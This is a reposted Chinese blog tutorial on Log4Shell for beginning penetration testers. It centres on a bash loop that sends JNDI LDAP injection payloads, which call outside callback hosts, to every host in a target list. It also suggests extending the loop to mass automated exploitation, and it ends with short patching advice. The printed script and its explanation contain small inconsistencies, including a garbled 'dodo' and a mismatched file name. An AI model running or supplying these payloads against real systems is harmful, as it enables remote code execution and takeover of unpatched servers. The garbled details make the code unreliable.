再探Log4jShell

admin 2024年10月5日00:24:44评论17 views字数 2024阅读6分44秒阅读模式

本月阅读需要3分钟;

对于渗透测试初学者,或许在本文能够收获到一些通过BashShell脚本命令快速进行渗透测试的技巧,以此为例进行举一反三。

首先,我们渗透使用的脚本如下:

Test-target.txt | while read host dodo curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}" -H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" -H "User-Agent: ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}";done

01

脚本目的

这段脚本代码的目的是利用Log4j漏洞,对目标主机进行JNDI注入攻击,从而实现远程代码执行。

02

脚本执行解析

  1. Test-target.txt: 读取 Test-target.txt 文件的内容,该文件应该包含目标主机列表,每行一个主机;

  2. while read host do; do ... done: 循环遍历 1.txt 文件中的每一行,将每一行内容赋值给变量 host;

  3. curl -sk --insecure --path-as-is ...: 使用 curl 命令发送HTTP请求;

     -sk: 忽略SSL证书错误,并静默模式运行(不显示进度条)。

     --insecure: 禁用SSL证书验证。

     --path-as-is: 不转义URL路径中的特殊字符。

  4. "$host/test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}": 构造HTTP请求的URL,其中GET参数 test 的值包含JNDI注入Payload。

  5. -H"X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}": 设置HTTP请求的 X-Api-Version header,其值也包含JNDI注入Payload。

  6. -H"User-Agent: ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}": 设置HTTP请求的 User-Agent header,其值也包含JNDI注入Payload。

03

脚本代码中使用不同的JNDI注入Payload

  • ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}

  • ${jndi:ldap://log4j.requestcatcher.com/a}

这些Payload都利用了Log4j的JNDI lookup功能,可以使目标服务器从攻击者控制的LDAP服务器加载恶意代码,从而实现远程代码执行。

04

攻击的流程解析

  1. 攻击者将目标主机列表写入 Test-target.txt 文件;

  2. 攻击者运行这段代码;

  3. 代码循环遍历目标主机列表,并对每个主机发送包含JNDI注入Payload的HTTP请求;

  4. 如果目标主机存在Log4j漏洞,则会触发JNDI lookup,从攻击者控制的LDAP服务器加载恶意代码;

  5. 攻击者可以在恶意代码中执行任意命令,从而控制目标主机。

05

脚本的可持续扩展

  1. Payload多样化: 可以使用不同的JNDI注入Payload,例如使用其他协议(如rmi、dns)或不同的攻击载荷;

  2. 攻击向量多样化: 可以将JNDI注入Payload嵌入到其他HTTP请求字段中,例如Cookie、Referer等。

  3. 目标端口扫描: 可以结合端口扫描工具,自动发现目标主机上开放的Web服务端口,并进行针对性的攻击。

  4. 自动化攻击: 可以将这段代码集成到自动化漏洞扫描工具中,例如Nuclei,实现批量化的漏洞扫描和利用。

06

知识点和经验-后续的学习路径建议

  1. Log4j漏洞原理: 了解Log4j漏洞的原理,以及JNDI注入攻击的机制。

  2. Payload构造: 学习如何构造JNDI注入Payload,以及如何将其嵌入到HTTP请求中。

  3. 攻击向量识别: 学习如何识别潜在的JNDI注入攻击向量,例如HTTP请求的各个字段。

  4. 安全工具使用: 学习如何使用 curl 等工具进行安全测试和漏洞利用;

  5. 安全防范意识: 提高对Log4j漏洞等安全风险的认识,并采取必要的安全防范措施。

07

安全建议

  1. 及时更新Log4j到最新版本;

  2. 禁用或限制Log4j的JNDI lookup功能;

  3. 使用防火墙阻止来自不可信来源的LDAP请求;

  4. 定期进行安全漏洞扫描,及时发现和修复安全隐患。

   如果您觉得文章对您有所帮助,还请您关注我!

欢迎您加群讨论:纯粹安全技术资讯、情报分享讨论群,再无其它!

再探Log4jShell

原文始发于微信公众号(再说安全):再探Log4jShell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月5日00:24:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   再探Log4jShellhttps://cn-sec.com/archives/3223219.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息